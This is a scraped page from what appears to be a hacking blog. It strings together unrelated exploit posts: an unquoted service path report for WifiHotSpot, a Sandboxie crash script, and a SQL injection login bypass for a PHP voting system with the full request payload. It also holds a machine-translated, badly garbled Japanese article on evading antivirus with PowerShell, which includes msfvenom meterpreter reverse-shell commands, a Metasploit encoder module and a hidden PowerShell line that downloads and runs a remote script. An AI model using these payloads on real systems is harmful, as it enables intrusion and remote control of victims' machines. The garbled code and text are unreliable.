# Exploit Title: WifiHotSpot 1.0.0.0 - 'WifiHotSpotService.exe' Unquoted Service Path
# Discovery by: Erick Galindo
# Discovery Date: 2020-05-06
# Vendor Homepage: https://www.gearboxcomputers.com/downloads/wifihotspot.exe
# Tested Version: 1.0.0.0
# Vulnerability Type: Unquoted Service Path
# Tested on OS: Windows 10 Pro x64 es
# Step to discover Unquoted Service Path:
c:\wmic service get name, displayname, pathname, startmode | findstr /i "Auto" | findstr /i /v "C:\Windows\\" | findstr /i /v """
MainService WifiHotSpotSvc C:\Program Files (x86)\WifiHotSpot\WifiHotSpotService.exe Auto
# Service info
sc qc wifihotspotsvc
[SC] QueryServiceConfig CORRECTO
NOMBRE_SERVICIO: wifihotspotsvc
TIPO : 10 WIN32_OWN_PROCESS
TIPO_INICIO : 2 AUTO_START
CONTROL_ERROR : 1 NORMAL
NOMBRE_RUTA_BINARIO: C:\Program Files (x86)\WifiHotSpot\WifiHotSpotService.exe
GRUPO_ORDEN_CARGA :
ETIQUETA : 0
NOMBRE_MOSTRAR : MainService
DEPENDENCIAS :
NOMBRE_INICIO_SERVICIO: LocalSystem
#Exploit:
This vulnerability could permit executing code during startup or reboot with the escalated privileges.
.png.c9b8f3e9eda461da3c0e9ca5ff8c6888.png)
-
Entries
16114 -
Comments
7952 -
Views
863149335
About this blog
Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.
Entries in this blog
# Exploit Title: Sandboxie 5.49.7 - Denial of Service (PoC)
# Date: 06/05/2021
# Author: Erick Galindo
# Vendor Homepage: https://sandboxie-plus.com/
# Software https://github.com/sandboxie-plus/Sandboxie/releases/download/0.7.4/Sandboxie-Classic-x64-v5.49.7.exe
# Version: 5.49.7
# Tested on: Windows 10 Pro x64 es
# Proof of Concept:
#1.- Copy printed "AAAAA..." string to clipboard!
#2.- Sandboxie Control->Sandbox->Set Container Folder
#3.- Paste the buffer in the input then press ok
buffer = "\x41" * 5000
f = open ("Sandboxie10.txt", "w")
f.write(buffer)
f.close()
# Exploit Title: Voting System 1.0 - Authentication Bypass (SQLI)
# Date: 06/05/2021
# Exploit Author: secure77
# Vendor Homepage: https://www.sourcecodester.com/php/12306/voting-system-using-php.html
# Software Link: https://www.sourcecodester.com/download-code?nid=12306&title=Voting+System+using+PHP%2FMySQLi+with+Source+Code
# Version: 1.0
# Tested on: Linux Debian 5.10.28-1kali1 (2021-04-12) x86_64 // PHP Version 7.4.15 & Built-in HTTP server // mysql Ver 15.1 Distrib 10.5.9-MariaDB
You can simply bypass the /admin/login.php with the following sql injection.
All you need is a bcrypt hash that is equal with your random password, the username should NOT match with an existing
########################### Vulnerable code ############################
if(isset($_POST['login'])){
$username = $_POST['username'];
$password = $_POST['password'];
$sql = "SELECT * FROM admin WHERE username = '$username'";
$query = $conn->query($sql);
if($query->num_rows < 1){
$_SESSION['error'] = 'Cannot find account with the username';
}
else{
$row = $query->fetch_assoc();
echo "DB Password: " . $row['password'];
echo "<br>";
echo "<br>";
echo "Input Password: " . $password;
if(password_verify($password, $row['password'])){
echo "Equal";
$_SESSION['admin'] = $row['id'];
}
else{
echo "not Equal";
$_SESSION['error'] = 'Incorrect password';
}
}
}
else{
$_SESSION['error'] = 'Input admin credentials first';
}
########################### Payload ############################
POST /admin/login.php HTTP/1.1
Host: 192.168.1.1
DNT: 1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: de-DE,de;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: PHPSESSID=tliephrsj1d5ljhbvsbccnqmff
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 167
login=yea&password=admin&username=dsfgdf' UNION SELECT 1,2,"$2y$12$jRwyQyXnktvFrlryHNEhXOeKQYX7/5VK2ZdfB9f/GcJLuPahJWZ9K",4,5,6,7 from INFORMATION_SCHEMA.SCHEMATA;-- -
強力で組み込みのWindows PowerShellは、浸透プロセス中に侵入をより興味深いものにします。セキュリティソフトウェアの対立と殺害は、PowerShellのすべての行動を徐々にターゲットにし始めました。
https://technet.microsoft.comで、ドキュメントは次のとおりです。
Windows PowerShellは.NETフレームワークテクノロジーに基づいており、既存のWSHとの逆方向の互換性を持つため、スクリプトプログラムは.NET CLRにアクセスするだけでなく、既存のCOMテクノロジーを使用できます。また、データベースやWMIへのログインなど、マネージャーの処理を改善するためのシンプルで一貫した構文、いくつかのシステム管理ツールも含まれています。 Exchange Server 2007やSystem Center Operations Manager 2007などのサーバーソフトウェアには、Windows PowerShellが組み込まれています。
Theavailable Startupparameters:の等式
-CommandSpecifififififiedtoexecuteSteastedthoweretypedatthepowershellcommandprompt。
-EncodedCommandSpecifeSheBase64-EncodedCommandTextToExecute。
-executionpolicysetsthededefaultexecutionpolicyfortheconsolessession。
-FILESESTSTHENAMEOFASCRIPTFILETOEXECUTE。
-inputFormatsTheFormATASENTTOPOPOWERSHELLASETEXTEXTSTRINGSTRINGORIALIZEXML.THEDEFAULTFORTISXML.VALIDVALUESARETEXTANDXML。
-noexitdoesnotexitafterrunning startup commands.thisparametersuseful yourunpowershell commandsorscriptssviathecommandprompt(cmd.exe)。
-nologostartSthepowerShellコンソールは、Thecopyrightbannerを表示せずに。
-noninteractivestartSthePowerShell consoleinnon-interactivemode.inthismode、powershellはinteractiveprompttotheuserを紹介しません。
-noprofiletellSthepowerShell consolenottoloadthecurrentuser’sprofile。
-OutputFormatsTheForMatForOutPutaseTheTextStringStringorializedXml.thedefaultFormatistext.ValidValuesAretExtandxml。
-PSCONSOLEFILEOADSTHESPECIFIEDWINDOWSSHELLCONSOLEFILE.CONSOLEFILESENDWITHTHE.PSC1EXTENSIONANDCANTONSURETHATSNAP-specificSnap-nap-nap-nap-nap-nap-inxtensionsionsionsionsionsionsionsionsionsionadavaible.youcancreateaoconsoleusinginging export-consoleinwindowsowershell。
-stastAstArtSpowerShellinsingle-threadedMode。
-versionsetsthionsofwindowspowershelltouseforcompatibility、sotas1.0。
-windowstyleSetsethewindowStyleasNormal、最小化、最大化、または非表示。
その機能については、ローカルテスト:Add-Type-AssemblynamePresentationFramework; [System.Windows.MessageBox] :Show( 'Micropoor')
上記のように、PowerShellの行動や特性のいくつかは、ますます多くのアンチソフトウェアに直面し始めます。 MSFVENOMを例にとって、ペイロードを生成します
Micropoor.ps1は残念ながら殺されました
PowerShell機能のペイロードを変更します
次に考慮すべきことは、上記の繰り返しの作業を自動化に変え、PowerShellとダウンロードストリングの特性に2つのペイロードフォームを設計する方法です。(1)ターゲットマシンがネットワークを出る(2)ターゲットマシンはネットワークを出ないで、ニーズに応じてメタプロイトをシームレスに接続します。 Microsoft Documentationによると、上記に役立つ可能性のあるプロパティ、つまり、WindowStylenoExitededCommandexec Automationの実装は次のとおりです。
#base64.rbをmetasploit-framework/embedded/framework/modules/encoders/powershellにコピーします。
#例えば
#MSFエンコーダー(PowerShell/base64)Exploit/Multi/Handlerを使用します
#MSF Exploit(Multi/Handler)Payload Windows/X64/MeterPreter/Reverse_TCPを設定します
#ペイロード=windows/x64/meterpreter/reverse_tcp
#MSF Exploit(Multi/Handler)Exploit
#msfvenom -p Windows/x64/meterpreter/reverse_tcp lhost=xx.xx.xx.xx lport=xx -f psh -reflection -arch x64 -platform windows | MSFVENOM -E POWERSHELL/BASE64 -ARCH X64 -Platform Windows。
#[*] xx.1xx.xx.xx:xxでリバースTCPハンドラーを開始しました
クラスMetasploitModule MSF:3360ENCODER
rank=normorranking
def initialize
素晴らしい(
'name'='powershell base64エンコーダー'、
'説明'=%q {
msfvenom -p Windows/x64/meterpreter/reverse_tcp lhost=xx.xx.xx.xx lport=xx -f psh -reflection -arch x64 -platform windows | MSFVENOM -E POWERSHELL/BASE64 -ARCH X64 -Platform Windows。
}、
「著者」='マイクロプロア'、
'arch'=arch_cmd、
「プラットフォーム」='win')
Register_options([
optbool.new( 'payload'、[false、 'payload'、false])、
optbool.new( 'x64'、[false、 'syswow64 powershell'、false]))
]))
終わり
def encode_block(state、buf)
base64=rex:text.encode_base64(rex:3360text.to_unicode(buf)))
cmd=''
DataStore ['x64']の場合
cmd +='c: \ windows \ syswow64 \ windowspowershell \ v1.0 \ powershell.exe'
それ以外
cmd +='powershell.exe'
終わり
DataStore ['Payload']の場合
cmd +='-windowsstyle hidden -exec bypass -noexit'
終わり
cmd +='-EncodedCommand#{base64}'
終わり
終わり
#Caidaoを使用する場合
#ECHO POWERSHELL -WINDOWSSTYLE HIDDEN -EXEC BYPASS -C \ '' IEX(new -Object.WebClient).DownLoadString( 'http://192.168.1.117/XXX.PS1'); \ '' '| MSFVENOM -E X64/XOR4 -CHOR4 -CHRACH4 -CHRACH4 -ARK4 -CHARK4 -CHARK4 -CHARK4 -CHARK4 -CHARK4 -CHARK4 -CHARK4 -CHARK4 -CHARK4 -ARK4 -CHARK4 -PLATOFFIN
#xxx.ps1はmsfvenom -p windows/x64/meterpreter/reverse_tcp lhost=xx.xx.xx.xx lport=xx -f psh -reflection -arch x64 -platform windows | MSFVENOM -E POWERSHELL/BASE64 -ARCH X64 -Platform Windows。
PowerShell_base64.rbファイルを/usr/share/metasploit-framework/embedded/framework/modules/encoders/powershellディレクトリにコピーします。 PowerShellが空の場合は、新しいPowerShellディレクトリパラメーターを作成してください。ペイロードMetasploitペイロードを使用してPowerShellキーワードを削除するかどうかを選択します。例1(ネットワーク外のターゲット、ダウンロードと実行):Echo PowerShell -WindowsStyle Hidden -C \ '' IEX(new -Object.WebClient).DownLoadString( 'http://192.168.1.117/MICROPOOR.PS1'); Windows
例2(ターゲットはネットワークを離れず、ローカルで実行します)
msfvenom -p Windows/x64/meterpreter/reverse_tcp lhost=192.168.1.117 lport=8080 -f psh -reflection -arch x64 -platform windows | MSFVENOM -E POWERSHELL/BASE64 -ARCH X64 -PLATFORM WindowsPayLoad
注:ペイロードパラメーターを追加します
より興味深い実験:例1のダウンコンテンツを例2に変更し、ペイロードパラメーターを削除します。ペイロードサイズを減らすため。 Invoke-mimikatz.ps1などを変更する
from:https://technet.microsoft.com/en-us/library/ff629472.aspx
https://github.com/danielbohannon/invoke-obfuscation
https://Micropoor.blogspot.com/2018/04/powershell.html

Voting System 1.0 - Remote Code Execution (Unauthenticated)
HACKER · %s · %s
- Read more...
- 0 comments
- 1 view

DHCP Broadband 4.1.0.1503 - 'dhcpt.exe' Unquoted Service Path
HACKER · %s · %s
- Read more...
- 0 comments
- 1 view

Epic Games Rocket League 1.95 - Stack Buffer Overrun
HACKER · %s · %s
- Read more...
- 0 comments
- 1 view

TFTP Broadband 4.3.0.1465 - 'tftpt.exe' Unquoted Service Path
HACKER · %s · %s
- Read more...
- 0 comments
- 1 view

Microweber CMS 1.1.20 - Remote Code Execution (Authenticated)
HACKER · %s · %s
- Read more...
- 0 comments
- 1 view

PHP Timeclock 1.04 - 'Multiple' Cross Site Scripting (XSS)
HACKER · %s · %s
- Read more...
- 0 comments
- 1 view

- Read more...
- 0 comments
- 1 view

- Read more...
- 0 comments
- 1 view

Firefox 72 IonMonkey - JIT Type Confusion
HACKER · %s · %s
- Read more...
- 0 comments
- 1 view

- Read more...
- 0 comments
- 1 view

- Read more...
- 0 comments
- 1 view

- Read more...
- 0 comments
- 1 view

PHP Timeclock 1.04 - Time and Boolean Based Blind SQL Injection
HACKER · %s · %s
- Read more...
- 0 comments
- 1 view

BOOTP Turbo 2.0.0.1253 - 'bootpt.exe' Unquoted Service Path
HACKER · %s · %s
- Read more...
- 0 comments
- 1 view

Odoo 12.0.20190101 - 'nssm.exe' Unquoted Service Path
HACKER · %s · %s
- Read more...
- 0 comments
- 1 view

- Read more...
- 0 comments
- 1 view

Chevereto 3.17.1 - Cross Site Scripting (Stored)
HACKER · %s · %s
- Read more...
- 0 comments
- 1 view

ZeroShell 3.9.0 - Remote Command Execution
HACKER · %s · %s
- Read more...
- 0 comments
- 1 view

- Read more...
- 0 comments
- 1 view

- Read more...
- 0 comments
- 1 view

Chamilo LMS 1.11.14 - Remote Code Execution (Authenticated)
HACKER · %s · %s
- Read more...
- 0 comments
- 1 view